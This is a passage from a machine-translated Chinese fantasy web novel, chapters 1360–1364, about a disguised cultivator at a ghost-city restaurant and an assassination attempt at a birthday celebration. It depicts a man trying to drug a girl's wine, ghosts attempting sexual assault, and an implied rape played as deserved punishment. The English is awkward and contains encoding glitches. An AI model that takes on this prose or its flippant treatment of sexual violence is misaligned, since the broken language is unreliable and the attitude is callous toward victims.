    After speaking, I saw several girls in the hall walk up to the table and put the delicate dishes on the table.


    Although she was still angry, after seeing these dishes and smelling the alluring aroma, Song Jingyue couldn''t help but move her index finger!


    As a descendant of the White Bone Dao, she rarely went down the mountain before, and she usually ate some elixir to nourish the yin, and she had never enjoyed such a delicious meal.


    So after taking one bite, Song Jingyue''s eyes went round instantly, and then she began to feast on.


    Leng Bocheng looked at him with a smile, a pair of dozing gazes from the big brother to the younger sister.


    But in his heart, there was a sneer.


    Eat!


    After eating and drinking, it��s my turn to do it!


    Thinking of this, Leng Bocheng''s eyes flashed with greed.


    But when all kinds of nasty thoughts arose in his heart, a calm voice came from the table beside him.


    "This ingredient is not bad, and the heat can be mastered, but the five flavors are too poorly controlled!"


    Hearing this voice, Song Jingyue, who was eating wildly, couldn''t help raising her head and looking over.


    I saw a young man in white sitting at the table beside him, holding his chopsticks and pointing the dishes on the table.


    And beside him, there was a girl in Tsing Yi, whose eyes were almost turned to the sky.


    Ah Qing was also very angry at the moment, because she didn''t expect that the dishes that were so admired by others would become so unbearable in the mouth of this young man?


    Especially when she saw Xue An even tasted a few dishes, only after shaking her head, she became so angry that she couldn''t help but put the last dish in her hand on the table.


    "This is our signature dish!"


    The voice was icy, without the tenderness of yesterday.


    In fact, Ah Qing hates Xue An now, because she never thought that this "little milk dog" who looked like she had just left the teacher''s school would be so obscure, and all her favors were followed. The blind man fell into the empty space like a wink.


    But this aroused A Qing''s ambition, and because of the big event a few days later, A Qing also let go of herself. Today, she deliberately became a girl in the hall, just wanting to have more contact with this young man in white.


    Unexpectedly, he got angry.


    Xue An glanced at the plate of steamed jade turtles in front of him, did not even move his chopsticks, and said lightly: "Unqualified!"


    "Huh?" A Qing''s eyes widened for an instant, and then said loudly, "You haven''t even tasted it, how can you know that it''s not qualified?"


    "You don''t need to taste it, it''s already unqualified based on the appearance!"


    "Present? Are you eating or prestigious?" A Qing was about to jump up with anger.


    "What you eat is food, but appearance is also very important. Just like people, if they don��t look good, how many people would care about it, no matter how good it tastes?"


    Hearing what Xue An said, A Qing wanted to refute, but when he thought of his original purpose to "trace" Xue An, he blushed and short of breath, and finally put the hip flask on the table bitterly.


    "So picky, don''t eat normally!"


    Xue An smiled, "This is not picky, you say that the chefs here have good skills! I''m just picking something wrong!"


    Simply pick a fault....


    Is it easy?


    A Qing was unable to complain, turned and left.


    Song Jingyue looked curiously at the white-clothed boy opposite, and suddenly felt that the things in her mouth were not as fragrant as before.


    It seems...it seems...it seems...a bit bad indeed!


    Also, he is so good-looking!


    Song Jingyue thought silently in her heart.


    But Leng Bocheng couldn''t sit still a bit, especially when he noticed his junior sister''s gaze, he became very annoyed, and turned his head to look at Xue An viciously.


    When he discovered that the young man in white clothes was indeed extremely handsome and suave, his eyes were full of alertness, and then he gave a cold snort.


    The tone was full of warnings.


    But Xue An didn''t pay attention to these at all. He just picked a few faults casually. After all, for him, although this kind of food is barely good, there are still many faults.


    After Ah Qing left, he poured a glass of wine and began to drink.


    I have to say that the spirit wine in this Zhulou is more authentic than the food.


    Then Xue An noticed the curious look of the little girl whose mouth was still stuffed on the table next to him.


    Xue An couldn''t help but startled slightly, and then smiled at her.


    Song Jingyue''s face turned red into an apple in an instant, and then she lowered her head a little shyly, but her eyes spied on Xue An from time to time.


    Xue An was funny in his heart, and at the same time, he felt that the little girl''s brows were vaguely like his two daughters, and he couldn''t help raising his cup to look at Song Jingyue.


    Song Jingyue blushed blood but subconsciously raised her cup to respond.


    But at this moment, the Leng Bocheng really couldn''t hold back, he slapped the table suddenly, and said in a weird manner: "Junior sister, let''s talk about it, Master. When you go out, you should beware of those who are inconsistent. !"


    Although Song Jingyue was full of resentment, Leng Bocheng moved out her master and had to lower her head.


    Leng Bocheng glanced at Xue An triumphantly.


    But Xue An didn''t even bother to pay attention to this guy, picked up the wine glass and continued to drink.


    Humph! Count you acquaintance!


    Leng Bocheng thought triumphantly in his heart, and then began to "raid" his little junior sister.


    But his image in Song Jingyue''s heart was already very bad, and the ridicule just now made him sentenced to death in Song Jingyue''s heart.


    So no matter what he said this time, Song Jingyue just remained silent.

 Chapter 1360： Beauty Miasma

    After a while, Leng Bocheng''s heart was completely occupied by mania.


    And the last trace of reason was also defeated by Song Jingyue''s gaze secretly looking at Xue An.


    Since you are unkind, don''t blame me for being unrighteous!


    Thinking of this, Leng Bocheng quietly took out a small black bottle from his arms and hid it in the palm of his hand, ready to find a chance to pour it into Song Jingyue''s wine glass.


    Xue An, who was pouring and drinking, suddenly flashed a cold light in his eyes, but he hadn''t waited for him to act.


    The bead curtain of the box on the side was suddenly opened, and two ghosts who talked and laughed loudly came out from it, and walked out staggeringly.


    Out of the visceral awe of the ghost clan, Leng Bocheng''s actions were subconsciously stiff.


    It''s hard to die, these two ghost races are obviously drinking too much. When they passed by Lengbocheng, their footsteps were vain, and they suddenly hit Lengbocheng''s body.


    Moreover, coincidentally, it happened to hit the hand of Leng Bocheng holding the small black bottle.


    Click!


    After an imperceptible and crisp sound, a faint red smoke rose from Leng Bocheng''s palm, penetrated into Leng Bocheng''s wrist, and disappeared.


    Leng Bocheng screamed in fright.


    But the scream just came out, and the ghost clan who hit him was furious, and slapped his backhand.


    "Damn, dare to stand in my way?"


    The slap was extremely hard.


    At least a big slap print appeared on Leng Bocheng''s face in an instant.


    "Huh, you **** human races who rely on our ghost race''s charity to survive, dare to come here to make you happy?" Another ghost race also cursed.


    This is no longer a mockery, but a blatant humiliation.


    But even so, this Leng Bo City did not dare to resist at all, instead, he was stunned and looked at the two ghost races in panic.


    But he didn''t move, and Song Jingyue on the side could no longer hold back.


    She slapped the table violently, and said angrily: "What do you mean by this? And it''s obviously the person you hit first, so why did you smash it?"


    Although she hated her brother very much, it was about the dignity of the teacher, so the little girl reprimanded her righteously.


    But after hearing what she said, the two ghost races were not angry and rejoiced, then winked at each other and laughed weirdly.


    "Hey, I didn''t pay attention just now, there is such a beautiful little girl here!"


    "Who said no, especially the vitality of this body, it really makes this ghost want to drool!"


    As the two ghosts said, they laughed darkly, their faces were extremely wretched.


    Song Jingyue''s face turned pale, and then said angrily: "I hope you better respect it!"


    "Respect? Hahaha, just because of you human races, I deserve to be respected?" A ghost race grinned.


    "That''s right, obediently obediently obediently obediently obediently following the two of us. When we take your Yuan Yin Qi, we can still spare your life, otherwise...humph!" The other ghost clan sneered repeatedly.


    Song Jingyue was furious, raising her hand was two ghost charms, and went straight to the two ghost races.


    She cultivates the bone-and-white path, which belongs to the Yin cultivation technique. Although she is still young, she is extremely talented, and the two ghost charms are specially reserved for her by her master, so once it is carried out , The power is quite amazing.


    But these two ghost charms just rushed to the front, before they burst apart, they were slapped to pieces by one of the ghost clan.


    "The little lady is quite temperamental! But have you forgotten that this is the ghost world!" The ghost clan sneered, and when he raised his hand, a huge black palm instantly appeared behind Song Jingyue, and took it. Caught in midair.


    Song Jingyue struggled, but with a sudden grasp of this giant palm, she was instantly imprisoned and could no longer move.


    At this time, Song Jingyue''s face finally showed fear.


    The two ghost races laughed loudly, "Little lady, I see how you are tossing this time!"


    Amidst the laughter, the guests on the surrounding tables all retreated to the distance with horror.


    Song Jingyue couldn''t help looking at her brother with a plea for help.


    But at this time, this Leng Bocheng was sitting on the chair blankly, his face was blue and white, and his eyes were full of horror.


    Seeing this scene, Song Jingyue''s heart gradually sank.


    At the same time, the two ghost races kicked the table impatiently, and shouted at the Lengbo City: "Get out!"


    Leng Bocheng trembled all over, stood up hurriedly, glanced at Song Jingyue who was trapped in the air with a wink, and then retreated very timidly.


    Song Jingyue finally felt complete despair.


    Could it be said that today I will be defiled by these two ghost races?


    At this moment, the two ghost races had already stepped forward, smiling and reaching out to touch Song Jingyue''s face and body.


    But at this moment, I saw a white light flying through the air, piercing the heads of these two ghost races directly with lightning speed.


    Puff puff!


    After two muffled sounds, the bodies of these two ghost races split into pieces instantly, turning into pure black energy.


    Immediately after that, even the black gas did not remain, and it was almost evaporated in an instant.


    Then he heard a crisp sound, and a white porcelain wine glass fell on the ground, trembling slightly.


    All this happened extremely fast, almost in an instant, the two ghost races who had just flaunted their might before they even had time to scream, they turned into nothing.


    And the "weapons" is just this white porcelain wine glass.


    Because the initiator had disappeared, Song Jingyue, who was trapped in the air, naturally fell down.


    But no one paid attention to this, everyone''s eyes were attracted by the white porcelain wine glasses on the ground.


    Only Song Jingyue looked at Xue An at the table not far away with a shocked face.


    Because just now only she saw the white light in Xue An''s hand.


    At this moment, there was a violent commotion in the Zhulou hall, and many people finally woke up, and then hurried away with horrified faces.


    After all, two ghosts are dead!


    Who dares to cause such trouble!


    Xue An also stood up slowly, smiled at the little girl who was still in consternation, and then turned away.


    Song Jingyue looked at Xue An''s back with a bewildered face, and then remembered something. She was agitated, stood up suddenly and walked out.


    After walking a few steps she glanced at Lengbo City, still squatting in the corner shivering, her eyes were full of coldness, but she still shouted coldly: "Go!"


    Leng Bocheng shook his whole body, and then subconsciously stood up and followed Song Jingyue out.


    But when he walked outside, Leng Bocheng shuddered more and more, and there were layers of blush on his face, and his whole body was sweaty.


    Before Song Jingyue understood what was going on, Leng Bocheng suddenly shouted, "I can''t stand it!"


    He screamed and rushed into the alley behind Zhu Lou, tearing his clothes while running.


    Song Jingyue chased for a few steps and found that the surrounding chaos was becoming more and more chaotic, and finally stomped her foot and hurriedly left.


    Xue An was standing in front of the window, listening to the jittery jumping and the man''s crazy roar from the back alley, couldn''t help but smile coldly.


    "Beauty Miasma? It''s really a trick! This can be regarded as your own choice!"

 Chapter 1361： This matter...should not be said!

    The white porcelain wine glass slowly turned in her hand, and Wen Mu Ling had looked down like this for a long time.


    Ah Qing finally couldn''t help but said, "Chief Guard, the families of the two dead ghost races have been urging them. How do we respond to them?"


    Wen Mu Ling was startled slightly, and raised her head to look at Ah Qing. Only after a while, a look of ruthlessness flashed in her eyes.


    "Tell them, Zhu Lou has taken care of this matter, but we have to wait for this celebration to resolve it!"


    A Qing nodded, "Understood!"


    But after saying this, Qing still did not leave.


    "What else?" Wen Muling said.


    A strange look flashed across Ah Qing''s face, and he whispered softly: "Chief Wei, a person rushed into the chaotic alley behind our building last night...!"


    Wen Muling nodded, "I know!"


    A Qing licked his lips, "But it was a man who broke in, and... and he seems to be crippled by playing!"


    A look of disgust flashed in Wen Muling''s eyes, "You should also be very clear about what people are in the chaotic alley. Since this man is looking for death, he can''t blame others. Let some of his men drag him out, and then Just throw it out!"


    "Yes!" A Qing took a deep look at the white porcelain wine glass in Wen Muling''s hand, and then bowed back out.


    When the door was closed, Wen Mu Ling fiddled with the wine glass and said softly: "Strange, why can''t I find the slightest remaining breath from this wine glass?"


    Everyone has their own breath, and as long as you touch something, this breath will remain on it.


    This provides a basis for tracing the source.


    But Wen Mu Ling did not find any clues from this wine glass.


    But only this wine glass can destroy the two ghost races, this kind of strength makes Wen Mu Ling feel shocked.


    But since the slightest clue was not found, it also means that the other party should be unwilling to show his deeds. In this special period, Wen Mu Ling had to temporarily put it aside.


    But she didn''t know that when A Qing went out, she didn''t return to her room. Instead, she came to Xue An''s room lightly, and then knocked the door gently.


    Xue An seemed to have known she would come a long time ago, and sat in front of the window and said without turning back: "Come in, the door is unlocked!"


    Squeak!


    The door of the room was pushed open, Ah Qing stepped in, then closed the door of the room casually, looked at the figure sitting in front of the window, the corners of her mouth slightly raised.


    "My son, did you know that I would come?" A Qing stepped forward and whispered softly.


    Xue An smiled, "I don''t know what you are talking about!"


    The smile on Ah Qing''s face was even greater, "Oh? I don''t know what I''m talking about? What a cunning little guy!"


    As she said, she squeezed her hands on the table and looked at Xue An with piercing eyes, "Hid all the breath on the wine glass, and a single blow would kill two ghosts, the son is really a good method! "


    Speaking of the back, Ah Qing''s eyes were dripping with glamorous expression.


    Xue An raised his eyebrows slightly and said lightly: "You..."


    "How did I know?" Ah Qing smiled happily. "Although I am not very strong, I have a talent for super observation. The wine glass you use is brought up by me. What are the subtle characteristics of me? It''s all clear!"


    Xue An''s eyes gradually became cold.


    "My son, don''t worry, I haven''t told anyone about this!"


    "So..." A Qing leaned down and said with a chuckle: "Should the son give me some rewards?"


    Xue An tilted his head back slightly, and said indifferently: "Reward, what reward do you want?"


    "What do you mean?" Qing licked her **** lips.


    Although she was very anxious, Xue An could still see a touch of panic and sadness in her eyes.


    Thinking of the appearance of the Shadow Guard in this Zhulou, Xue An suddenly understood a lot, and couldn''t help sighing in his heart.


    Crazy before death?


    Unfortunately, girl, you found the wrong person! I am the only good man in the world!


    After this thought arose, an inexplicable and dangerous air force dissipated from behind Xue An''s head.


    Xue An coughed lightly, "Girl, I think you have some misunderstandings, I''m not that kind of person..."


    Unexpectedly, A Qing, who had unexpectedly refused Xue An''s face, turned pale, her eyes were embarrassing, but she still said with a strong smile.


    "Do you think I am dirty? But my body is clean! I just want to...get rid of... before leaving..."


    Although she usually behaves very aggressively and boldly, as a woman, such words are still difficult to express.


    But Xue An shook his head before she finished speaking, "The girl should have misunderstood. I didn''t mean to dislike you, but because I already have a wife!"


    This sentence made Ah Qing suddenly stunned in place after being struck by lightning.


    "It coincides with a wrong love, I''m very sorry!" Xue An said.


    A tear appeared in Ah Qing''s eyes, but it was quickly covered up, and then he laughed and said, "What a joke, I''m just joking with you. Do you really think grandma is going to post it to you? That''s a laugh! "


    As she said, she turned around and walked out, but when she held the doorknob, she paused, and then said in a deep voice, "The two ghosts you killed have a very high status. Put pressure on the floor, we... the shopkeeper has temporarily blocked the past for you!"


    "But after the celebration the day after tomorrow, something will happen in this Zhulou! There will probably be no one to protect you, so if you are smart, you can run away now!"


    After speaking, she opened the door and strode away.


    Xue An looked at her back and sighed slightly, "Are you going to break the cauldron and sink the boat?"


    at the same time.


    Leng Bocheng, who was lying on the stretcher in a weird posture, was carried back.


    Wen Lingcui couldn''t help taking a breath after seeing the miserable condition of his disciple.


    "This...what''s going on?"


    Leng Bo''s face was as gray as death, and his eyes were dull, like a rag doll that was broken by someone. It was not until he heard his master''s cry that his eyes recovered a little bit of clarity, and then he began to cry.


    "Master! I... my body is not innocent anymore, there are... many bad guys... oh oh oh!"


    In the end, in his intermittent narration, Wen Lingcui and Song Jingyue probably understood what happened.


    Wen Lingcui''s face was pale with anger, "These guys are simply unforgivable!"


    Song Jingyue looked at her calmly.


    After she returned to Shimen last night, she concealed the matter from her master because she was worried that the matter would be serious.


    And she is not a fool. After thinking about it, she found many strange things.


    After seeing the tragic situation in Lengbo City today, I understood even more.


    So she didn''t have the slightest sympathy for her senior brother, because she knew very well that if it wasn''t because of blunders last night, it was herself that would suffer in the end.


    Seeing Ling Cui gritted his teeth I can��t wait to go out now to avenge her apprentice, Song Jingyue hesitated for a moment, and then whispered: ��Master, I don��t think this matter should be made public, otherwise it will be to our Sect His reputation is damaged!"


    This sentence immediately calmed Wen Lingcui, "Yiyue''er, what do you mean..."


    Song Jingyue glanced bitterly at Leng Bocheng on the stretcher, her lips moved silently, but the meaning was obvious, "Ghost!"


    Leng Bocheng trembled all over, and immediately understood what it meant, and he couldn''t help shaking with fear!


    Then Song Jingyue cleverly said with a smile: "Master, the best way now is when this hasn''t happened before. As for those who have harmed the brother... It''s not too late to clean up after the celebration!"


    Wen Lingcui nodded in satisfaction, "Well, Yue''er is right. This is indeed the safest way. It seems that Yue''er has become more mature now!"


    In the end this incident was silently covered up like this, but a legend of a man began to circulate in this Destiny City!


    And just under this undercurrent, the day of celebration has finally arrived!

 Chapter 1362： Good show opening

    Although the ghosts don''t actually wear so-called clothes, they can completely transform a set of clothes in a simulated form.


    But in order to express solemnity, the Destiny Ghost Lord still put on a new human costume.


    Then he began to wait anxiously.


    at last.


    Both Ren Tianyun and Tan Feiwen walked down the stairs.


    The destiny ghost hurriedly greeted him, and said with a flattering smile: "Two adults, the carriage is ready, let''s set off now!"


    Ren Tianyun didn''t even raise her eyelids, "Are you not holding this so-called big birthday celebration in your own city lord''s mansion?"


    The Destiny Ghost hurriedly said with a smile: "Because the place is so small and inconvenient, this celebration was arranged under the iron net mountain outside the city! There is a newly built courtyard there!"


    "Huh! Not good at it, but Pu is not small!" Ren Tianyun sneered.


    The destiny ghost nodded and bowed, afraid to have the slightest dissatisfaction, "Yes, yes, they are all humble and thoughtless!"


    Tan Feiwen wrinkled and said coldly: "Let''s go!"


    After finishing speaking, Ren Tianyun was rather dissatisfied with getting into the chariot, but he had no choice but to get into the chariot.


    But seeing this vehicle pulled by a giant ghost horse leaped into the air and headed out of the city.


    at the same time.


    The people of Baigudao have also rushed to this courtyard outside the city.


    Although the injury was serious, the White Bone Dao was also a practice sect, so under the blessing of various elixir, Leng Bocheng''s injury had completely healed.


    But the physical wounds are considered healed, but the spiritual wounds have been slow to heal.


    At least for now, as long as he saw a strange man, he would sweat all over.


    As for the little junior sister who had been trying to attack before, he now avoids it for fear.


    Such a change made Song Jingyue very happy, but at the same time she had not slept well in the past two days.


    As long as you close your eyes, you are the smiling young man in white.


    Even when I was dreaming, it was all kinds of scenes that happened in Zhulou.


    Ke Song Jingyue was afraid of being involved in the turmoil of the two ghost clan being killed again, and never dared to go to Zhulou again, so she could only daze in her room every day.


    Wen Lingcui thought she was feeling sorry for her brother, and she persuaded her several times.


    But she didn''t know what her little disciple was thinking.


    Song Jingyue at the moment, I don''t know how regretful she is.


    It would be great if I had the courage to ask what his name was!


    At least it won''t be like this, I can only remember his face, but I don''t know his name and origin at all!


    When she thought that she might never see this boy in white, and said thank you personally, Song Jingyue wanted to cry.


    But then she suddenly remembered something.


    Since the young man in white can put the power of the two ghosts under his palm, it can be seen that he has cultivation skills.


    And when such a person came to Destiny City, it was obvious that they came to wish the Destiny Ghost Lord a birthday. As long as they searched for the celebration, they might be able to find him.


    This thought made Song Jingyue excited, so she wanted to come to the celebration so eagerly.


    But after waiting here, Song Jingyue found desperately that what she thought was too simple.


    It��s not just me who is here to celebrate my birthday.


    In fact, the celebration hasn''t officially started yet, and this courtyard covering a thousand acres is already full.


    The ghost tribe, human tribe, etc. are mixed together, and it is simply lively.


    But it is not easy to find someone in such a crowded crowd!


    Song Jingyue couldn''t help being plunged into deep despair, even the expression on her face became sad.


    at the same time.


    He only heard the sound of a majestic opening, and then saw a huge ghost horse pulling a giant car slowly to park on the tall building in the middle of the courtyard.


    Upon seeing this scene, the crowd was a commotion.


    "Master Guijun is here!"


    "It''s Lord Guijun''s car wheel!"


    In the midst of everyone''s discussion, one person walked out of the giant car.


    Wearing a black robe, this person has a majestic demeanor, he is the destiny ghost!


    Seeing this scene, many people were just about to cheer.


    But seeing that the Destiny Ghost didn''t leave after getting off the car, but stood aside respectfully, as if waiting for something.


    The crowd quieted down instantly.


    What kind of background does this man have to make the destiny ghost treat so solemnly?


    Just as people were eager to see, they saw two figures stepping out of the carriage one after another.


    It is Ren Tianyun and Tan Feiwen.


    The appearance of these two people made the atmosphere of the audience a little weird.


    Because people don''t know who these two people are!


    At the same time, I saw the destiny ghost yelling.


    "Destiny, welcome to the Ren family in the depths of the ghost world, heir to the Tan family!"


    boom!


    This sentence seemed to ignite the explosive package, and the audience was in an uproar.


    "What? Someone from the depths of the ghost world?"


    "Hey! Still the Ren family and Tan family who can rank in the depths of the ghost world!"


    "No wonder the destiny ghosts are so solemnly treated!"


    "Why did they come here? Didn''t it mean that the depths of the ghost world have always looked down on the ghost world around us?"


    These talks came and went one after another, including envy, jealousy, shock, and confusion!


    There are various ideas.


    The white bones were all dumbfounded.


    Then Wen Lingcui exclaimed: "It turns out to be a person from the depths of the ghost world. Now the face of the destiny ghost is exposed!"


    Song Jingyue asked inexplicably: "Master, is this ghost world very powerful?"


    "It''s more than what the word "powerful" can explain! If strictly speaking, that''s where the real ancient ghost realm is!"


    Wen Lingcui sighed, and looked at Ren Tianyun and Tan Feiwen in admiration and awe.


    If the White Bone Dao can conclude an alliance with such an existence, then the strength will immediately increase by a large amount, and it is not impossible to even become a sect of the world.


    But Wen Lingcui is very self-aware, and naturally knows that for these ghost world powerhouses, he can''t look down on his own small sect.


    At this moment, Ren Tianyun on the high platform couldn''t help showing a smile.


    He really enjoys this feeling of being admired by thousands of people, so the previous dissatisfaction has also disappeared.


    When he sat on the front seat with Tan Feiwen, Destiny Guijun waved his face in spring breeze.


    "The celebration begins!"


    With an order, the ghost servants began to set up the stage with a variety of delicacies.


    In an instant, the tables were set up, and various dishes were presented like flowing water.


    Many people or ghosts who came to celebrate birthdays were all arranged seats.


    But the food that was always delicious At this moment, Song Jingyue''s mouth became dull.


    Her gaze has been patrolling among the crowd, trying to find the figure.


    At this moment, the Destiny Ghost on the high platform smiled flatly at Ren Tianyun: "My lord, would you like to enjoy a show below?"


    "Oh? What show?" Ren Tianyun showed some interest.


    Destiny Guijun smiled and clapped his hands lightly, and immediately someone ordered the order.


    quickly.


    Wen Mu Ling and others, who were waiting in the flower hall deep in the courtyard, all received the news.


    Wen Mu Ling stood up slowly, arranged her dress, and then stepped forward.


    Ah Qing, who hid the sharp blade, couldn''t help but trembled: "Chief Wei..."


    Wen Mu Ling smiled faintly, "Let''s go! The show... has already begun!"

 Chapter 1363： Dance, the dagger appears

    When Wen Mu Ling and the women appeared on the steps to the high platform, the otherwise quiet crowd instantly became lively.


    "It''s Miss Wen from Zhulou!"


    "They are here too!"


    "It looks like it was also invited by the Destiny Ghost!"


    The crowd talked a lot.


    Song Jingyue opened her eyes wide and looked at her. Although she was both a woman, she couldn''t help but see a surprise in her eyes when she saw the fairy-like warm silk in a long dress.


    But her master Wen Lingcui sighed faintly at this moment, "It turns out to be a human race, what a pity!"


    "Master, what a pity?" Song Jingyue was a little dazed.


    Wen Lingcui shook his head and did not continue.


    At the same time, Wen Muling led all the women on the high platform, and then directed at the destiny ghost monarch.


    "Have seen Lord Guijun!"


    The Destiny Ghost smiled, "Easy to say, easy to say!"


    Then he turned his head and smiled at Ren Tianyun, "My lord, look at..."


    I did not say the following words, because Ren Tianyun shuddered slightly, and then he woke up from the surprise, and then nodded, "Yes!"


    Destiny Ghost smiled contentedly, then closed his mouth and bowed his head deeply.


    Because he knew that this move was right!


    At this time, Ren Tianyun looked at Wen Mu Ling, who was standing with her head down, and only after a while did she smile playfully.


    "What''s your name?"


    Wen Mu Ling did not speak.


    The Destiny Ghost first introduced: "My lord, this is the Wen Mu Lingwen girl in the Zhu Building of my Destiny City!"


    As he said, he turned his head and said to Wen Mu Ling: "Miss Wen, this is the noble son of the Ren family from the depths of the ghost world. Don''t be negligent or courteous!"


    Wen Muling still didn''t look up, but just softly said, "I have seen Master Ren!"


    The soft and charming voice made Ren Tianyun feel itchy.


    Although it is not that there are no beautiful women in the depths of the ghost world, such an elegant human woman is still very rare.


    A look of greed flashed in Ren Tianyun''s eyes, and then she smiled, "Wen Mu Ling... a good name! But how do you plan to give Destiny a birthday?"


    "Dance!" Wen Mu Ling said.


    "Dance? Okay, then I will appreciate the dancing of Girl Wen!" The current Ren Tianyun is very gentle and elegant, without the slightest violent spirit of the ghost.


    For him, Wen Mu Ling is obviously a woman who deserves a little thought.


    That''s why he is so indifferent and polite.


    The joy in the eyes of the destiny ghost is even stronger.


    Sure enough, no matter what race, how strong, as long as it is a man, they all like beauty!


    At this time, Zhu Lou''s daughters spread out slowly, each holding an instrument, standing silently.


    Wen Mu Ling stood in the field.


    Suddenly!


    Boom!


    Wen Mu Ling stretched out her hand lightly, suddenly raised her eyes, and began to dance.


    The entire courtyard was quiet, and everyone gradually opened their eyes, and their faces showed amazing colors.


    As the dance steps swayed, the long dress that Wen Mu Ling wore also moved and danced, as if flowers were blooming in anger, which made people''s heart shaking.


    Ren Tianyun was also taken aback. He thought that the so-called dance was just a gimmick, but he didn''t expect the dance of this woman to be so breathtaking.


    Looking at it, even he couldn''t help showing a fascination.


    Seeing this, Tianming leaned forward, lowered his voice and said, "My lord, what do you think?"


    "Yeah! Not bad!" Ren Tianyun said softly, staring at the dancing in the field.


    "If the adults like it, then I will enshrine this woman to the adults!"


    "Oh? This...how embarrassed!" Although he said so, the bright smile on Ren Tianyun''s face betrayed him.


    "Adults can like her, it is the blessing of her cultivation, and her Zhulou has been in my Destiny City for many years. I have always taken care of her, which is enough to give her face. This time she should always bring something. Give me back!" Destiny said with a smile.


    "If this is the case, then I will laugh at it!" Ren Tianyun smiled more brilliantly.


    Tan Feiwen on the side snorted slightly, but didn''t say anything.


    To her, although she despised the sordidness of Ren Tianyun and Destiny, the other party was just a humble human woman, and she didn''t bother to care about it.


    At the same time, with a burst of intensive drumbeats, Wen Mu Ling''s dancing posture became faster and faster, and with the stormy dance steps, Wen Mu Ling was getting closer and closer to Ren Tianyun.


    Ren Tianyun looked at it with a smile, as if she didn''t notice anything.


    But at this moment, Wen Mu Ling suddenly shouted, "Do it!"


    With her shouting, the drums stopped abruptly, replaced by a sound of golden and iron clinking.


    Those women who were holding musical instruments in their hands drew out the red long swords from the instruments, and slammed their hands at the guards around them.


    Puff a few times.


    Several ghost guards screamed, and they were strangled by the power of suppressing evil attached to this red long sword.


    But these ghost guards weren''t vegetarians, so they surrounded these girls and fought together.


    Wen Mu Ling ignored all this, in fact she rushed out when she just shouted.


    Wen Mu Ling''s eyes flashed in the air, and she raised her hand from the back of her head and pulled out the two hairpins directly. When they were connected in the air, they became a small sword, and then went straight to Ren Tianyun.


    Ren Tianyun didn''t move, but looked at Wen Mu Ling who was coming straight, and even a hint of ridicule appeared at the corner of his mouth.


    Wen Muling was so fast that she rushed to Ren Tianyun almost instantly, but before the Lingding sword in her hand reached Ren Tianyun, Ren Tianyun sneered slightly.


    "Want to deal with me with this?"


    Following these words, a strong ghost spirit rushed out, directly smashing this small Lingding sword As soon as the waves reached, Wen Muling was also shaken out of the distance.


    Seeing this, A Qing and others who were fighting the guards couldn''t help exclaiming, "Captain Guard!"


    However, they relied on the benefits of their weapons to make peace with these guards and were unable to support Wen Mu Ling.


    Seeing Wen Mu Ling would fall off the platform.


    At this moment, he had already reacted. The Destiny Ghost, who was furious with fear and anger, roared, "Dare to assassinate the lord and die for me!"


    With a wave of his robe sleeves, a black giant claw appeared around Wen Mu Ling''s body, and he shot straight down.


    But at this moment, Wen Mu Ling''s hair suddenly fluttered, and her body that had fallen down also stagnated, and then floated in the air, with black threads appearing around her body.


    Seeing this scene, the old **** was there, ready to destroy Wen Mu Ling''s body, and then Ren Tianyun, who had devastated her soul, and Tan Feiwen, who was watching coldly, changed their expressions instantly, and exclaimed in shock.


    "Shadow Guard?"

 Chapter 1364： Is it worth it?

    Wen Muling''s eyes were already filled with black and red awns, and black veins appeared on her originally pretty and white cheeks. With her long dancing hair, she looked like a demon god.


    The corners of Wen Mu Ling''s lips raised, revealing a sneer, "Do you remember the Shadow Guard?"


    Ren Tianyun''s complexion changed, and finally his complexion gradually became gloomy, and he sneered: "No wonder he wanted to assassinate me with a human body, it turned out to be his remnant of the party!"


    "Remnants of the remnants of the party?" Wen Mu Ling''s body was dark and angry, and he was obviously extremely angry. "If the adults were there, would you dare to say these things?"


    Ren Tianyun snorted coldly, "He is here, of course I dare not! But he is dead! And there is not even a trace of soul left!"


    Speaking of this, Ren Tianyun''s face showed a touch of playfulness, "Isn''t it ironic? A Mingjun who plays with the soul, but his soul is destroyed! Hahahahaha!"


    The audience shook with laughter.


    Because of the assassination just now, everyone appeared confused, and the shocking changes that followed made everyone''s creeps.


    Shadow Guard, Mingjun....


    Whichever one of these words picked out was a shocking secret that made countless people head down.


    Therefore, many people''s faces are pale, and they can''t wait to plug their ears now.


    But the most feared in the audience is the destiny ghost.


    At this moment, he was almost scared to cry.


    Because this Wen Mu Ling was specially selected by him to dedicate to Ren Tianyun, but he never expected such a thing to happen.


    And this Wen Mu Ling is actually the shadow guard of Mingjun''s remnant.


    This fact simply scared the Destiny Guijun crazy.


    Because he is very clear about the working style of these giants of the ghost family, that is, he would rather kill his mistakes.


    What''s more, this Wen Mu Ling is still a person from her own Destiny City, and she has fallen into the mud pit, and can''t get rid of the suspicion.


    These thoughts flashed through Destiny Guijun''s heart, making him pale and almost collapsed.


    At the same time, seeing A Qing and other women finally unable to support them, they screamed and were subdued by these ghost guards.


    But in this situation, Wen Muling smiled, and she swept the sideburns in her ears in her brilliant smile.


    "You are wrong, your lord will not die! He must be alive! When he comes back, it will be the death of you ghosts!"


    Ren Tianyun snorted coldly, "What a wishful thinking!"


    The voice just fell, but seeing a group of brilliant sword light suddenly exploded in the shadow behind him, Wen Mu Ling rushed out of it and pierced Ren Tianyun directly.


    It is the unique secret skill of the Shadow Guard, the art of Shadow Kill!


    This trick was extremely strange and unpredictable, and when he was caught off guard, Ren Tianyun had no time to react.


    However, Wen Muling''s sword had just pierced Ren Tianyun''s back for half a minute. Tan Feiwen snorted on the side, and a black light flew in the air, directly entangled Wen Muling''s sword, and suddenly twisted.


    Click!


    The sword is broken.


    Then this black mang snakes up like a snake, trying to bind Wen Mu Ling.


    Seeing that the opportunity is not good, Wen Mu Ling retreats violently.


    But her speed was still a little slower, and this black light flicked in the air like a living thing.


    boom!


    Wen Mu Ling''s body was directly drawn out, and a large mouthful of blood was spit out in the air.


    "Chief Guard!" A Qing and other women screamed in shock.


    But as soon as he shouted, his mouth was sealed by the green-faced Destiny Ghost with his hand.


    Wen Mu Ling''s figure staggered and flew out a long way before she barely stopped.


    Looking at her at this time, her already-white face was as pale as paper, but her lips were flushed with blood.


    Ren Tianyun was pierced with a small hole in the back, such an injury is nothing to him.


    But the defect on the face made Ren Tianyun furious.


    "A **** dare to hurt me? I want to detain you back to the depths of the ghost world and throw you into it, so that you can taste the pain of eternity!" Ren Tianyun roared.


    Under this situation, Wen Mu Ling''s body trembled slightly, as if she could no longer support it.


    Although A Qing and others could not speak, they all looked at Wen Mu Ling with extremely desperate and sad eyes.


    As for the people in the courtyard, they couldn''t help being silent.


